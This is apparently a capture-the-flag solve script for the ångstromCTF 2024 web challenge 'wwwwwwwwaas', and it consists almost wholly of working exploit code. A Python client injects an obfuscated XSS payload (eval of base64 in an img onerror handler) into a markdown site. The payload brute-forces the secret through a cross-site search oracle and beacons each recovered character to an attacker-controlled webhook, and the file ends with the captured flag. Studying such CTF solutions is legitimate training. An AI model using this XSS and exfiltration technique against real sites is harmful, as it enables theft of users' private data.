ångstromCTF 2024 - wwwwwwwwaas (web)

solve.py

import httpx
import base64

payload = """
const targetUrl = "https://wwwwwwwwaas.web.actf.co";
const logUrl = "https://<your webhook>";

function log(msg) {
    navigator.sendBeacon(logUrl + '/log?f=' + msg);
}

function probeError(query) {
    let script = document.createElement('script');
    script.src = targetUrl + '/search?q=' + encodeURIComponent(query);
    script.onload = () => {
        log(query);
        check(query);
    };
    document.head.appendChild(script);
}

const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}';

function check(flag) {
    for (let i = 0; i < charset.length; i++) {
        let c = charset[i];
        let query = flag + c;
        probeError(query);
    }
}

check("actf{");
"""
payload = base64.b64encode(payload.encode()).decode()


def main() -> None:
    with httpx.Client(base_url="https://markdown.web.actf.co") as client:
        r = client.post(
            "/create",
            data={"content": f"<img src=x onerror='eval(atob(`{payload}`))'>"},
            follow_redirects=True,
        )

        print(r.url)


if __name__ == "__main__":
    main()

# actf{the_w_watermarks_the_whereabouts}